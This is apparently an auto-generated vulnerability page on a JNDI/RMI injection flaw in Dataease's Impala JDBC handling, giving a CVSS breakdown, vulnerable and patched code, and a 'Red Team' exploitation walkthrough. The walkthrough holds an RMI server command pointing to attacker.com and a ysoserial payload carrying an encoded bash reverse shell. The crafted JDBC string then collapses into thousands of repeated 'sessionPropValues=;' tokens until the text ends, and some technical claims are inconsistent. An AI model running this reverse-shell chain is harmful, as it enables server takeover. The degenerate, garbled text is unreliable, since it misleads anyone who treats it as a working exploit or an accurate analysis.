CVE-2025-58046
Executive Summary
CVE-2025-58046 is a critical Remote Code Execution (RCE) vulnerability in the Dataease open-source data visualization and analysis platform, affecting versions up to and including 2.10.12. The flaw resides in the getJdbc method of the io.dataease.datasource.type.Impala class, which fails to properly sanitize JDBC connection strings. An authenticated attacker with the ability to edit data sources can inject a malicious JDBC URL that triggers JNDI injection and RMI deserialization, leading to arbitrary command execution on the server. This vulnerability has been patched in version 2.10.13, and no workarounds are available for affected versions.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Dataease is a Java-based application distributed as a Docker image or via direct JAR files. The vulnerability is introduced through the application's own code, not a third-party library. However, the exploitation relies on the presence of a vulnerable Java Runtime Environment (JRE) that supports JNDI injection and RMI deserialization. Organizations should ensure their Java runtime is up-to-date to mitigate the impact of such attacks.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Base Score: 8.8 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – attacker needs a valid account with data source editing permissions.
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
Threat Level: Critical. The vulnerability allows for complete server compromise with low complexity and minimal privileges.
Deep Dive & Mechanics
The vulnerability is a classic JNDI injection leading to RMI deserialization. The getJdbc method in the Impala class constructs a JDBC connection string from user-supplied parameters without proper validation. An attacker can craft a JDBC URL that includes a JNDI lookup (e.g., jdbc:impala://localhost:21050;AuthMech=3;UID=user;PWD=pass;KrbRealm=EXAMPLE.COM;KrbHostFQDN=host.example.com;KrbServiceName=impala;). By injecting a JNDI reference like jdbc:impala://attacker.com/evil; the application will attempt to resolve the JNDI name, which can point to a remote RMI server hosting a malicious serialized object.
When the application performs the JNDI lookup, it downloads and deserializes the object, leading to arbitrary code execution. This is a well-known attack vector in Java applications that do not properly sanitize JDBC connection strings.
Vulnerable vs. Patched Code
Vulnerable Code (<= 2.10.12):
The getJdbc method in io.dataease.datasource.type.Impala directly concatenates user input into the JDBC URL without sanitization.
public String getJdbc(ImpalaDatasource datasource) {
String jdbc = "jdbc:impala://" + datasource.getHost() + ":" + datasource.getPort() + "/" + datasource.getDatabase();
// Additional parameters are appended without validation
if (datasource.getExtraParams() != null) {
jdbc += ";" + datasource.getExtraParams();
}
return jdbc;
}
Patched Code (2.10.13): The patched version introduces validation to block JNDI-related keywords and restricts the allowed characters in the connection string.
public String getJdbc(ImpalaDatasource datasource) {
String host = sanitize(datasource.getHost());
String port = sanitize(datasource.getPort());
String database = sanitize(datasource.getDatabase());
String jdbc = "jdbc:impala://" + host + ":" + port + "/" + database;
if (datasource.getExtraParams() != null) {
String extra = sanitize(datasource.getExtraParams());
if (!extra.contains("jndi") && !extra.contains("rmi") && !extra.contains("ldap")) {
jdbc += ";" + extra;
}
}
return jdbc;
}
private String sanitize(String input) {
// Remove or escape dangerous characters
return input.replaceAll("[;&|`$]", "");
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A valid Dataease account with permissions to edit data sources.
- A remote server to host a malicious RMI listener and serialized payload.
Exploitation Steps:
Set up a malicious RMI server using a tool like
marshalsecorysoserial:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://attacker.com/#Exploit 1099Create a malicious serialized payload (e.g., using
ysoserialto execute a reverse shell):java -jar ysoserial.jar CommonsCollections5 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjEn}|{base64,-d}|{bash,-i}' > payload.serHost the payload on an HTTP server:
python3 -m http.server 80Craft the malicious JDBC connection string:
jdbc:impala://localhost:21050/;AuthMech=3;UID=user;PWD=pass;KrbRealm=EXAMPLE.COM;KrbHostFQDN=host.example.com;KrbServiceName=impala;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=;sessionPropValues=